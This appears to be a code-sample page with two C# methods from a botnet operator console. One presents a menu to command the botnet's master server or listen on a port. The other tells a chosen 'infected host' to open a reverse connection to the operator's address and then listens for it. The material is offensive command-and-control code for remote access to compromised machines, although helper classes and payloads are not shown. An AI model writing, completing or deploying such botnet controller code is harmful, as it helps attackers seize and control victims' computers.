Exemple #1
0
        /// <summary>
        /// Entry point of the master. Call methods to initiate port listening.
        /// When a remote computer connects to us, initiate the prompt loop and monitor the connection.
        /// </summary>
        public void Start()
        {
            ConsoleTools.DisplayBanner();

            var choice = "";

            while (choice != "9")
            {
                Console.Write("\n\nChoose one option :\n\n    1 : Issue commands to the botnet's master server\n    2 : Listen on a port\n    9 : Exit\n\nChoice : ");

                // Reset choice here or infinite loop
                choice = "";
                while (choice != "1" && choice != "2" && choice != "9")
                {
                    choice = Console.ReadLine();
                    // Space a bit
                    Console.WriteLine("");

                    int port;

                    switch (choice)
                    {
                    case "1":
                        port = BotnetManager.Process() ?? 0;
                        if (port != 0)
                        {
                            ListenForIncomingConnection(port);
                        }
                        break;

                    case "2":
                        port = ConsoleTools.AskForPortNumber("Please type a port number to listen to");
                        ListenForIncomingConnection(port);
                        break;

                    case "9":
                        // exit
                        break;

                    default:
                        Console.Write("Invalid choice, please type again\n> ");
                        break;
                    }
                }

                waitingForUserCommandInput = false;
            }
        }
Exemple #2
0
        /// <summary>
        /// Ask the user for an hostname/ip, a port number and an host_id.
        /// Send the request to the server wich will tell the infected host (identified by host_id) the connect to the specified host and port.
        /// The user can choose to listen to the specified port.
        /// </summary>
        /// <returns>Port number to listen to or null</returns>
        static int?SendReverseConnectionRequestToHost()
        {
            Console.Write("Please type the host_id to send the reverse connection request to : ");
            var host_id = ConsoleTools.PromptInt(null, "Please enter an integer");

            Console.Write("Please type the hostname or ip adress the infected host should connect to (yours ?) : ");
            var host = ConsoleTools.PromptNonEmptyString();

            var port = ConsoleTools.AskForPortNumber("Port");

            var data     = JsonConvert.SerializeObject(new ConnectClientRequestJson(host_id, host, port));
            var response = PostJsonToServer <ConnectClientResponseJson>(data);

            if (response == null)
            {
                return(null);
            }

            if (!response.result)
            {
                ColorTools.WriteCommandError("The server responded with an error, verify the host_id");
                return(null);
            }

            ColorTools.WriteCommandSuccess("Command successfully sent");

            Console.Write("Would you like to listen on the selected port now ? (Y/n) : ");
            var choice = Console.ReadLine();

            if (choice == "n" || choice == "N")
            {
                return(null);
            }

            return(port);
        }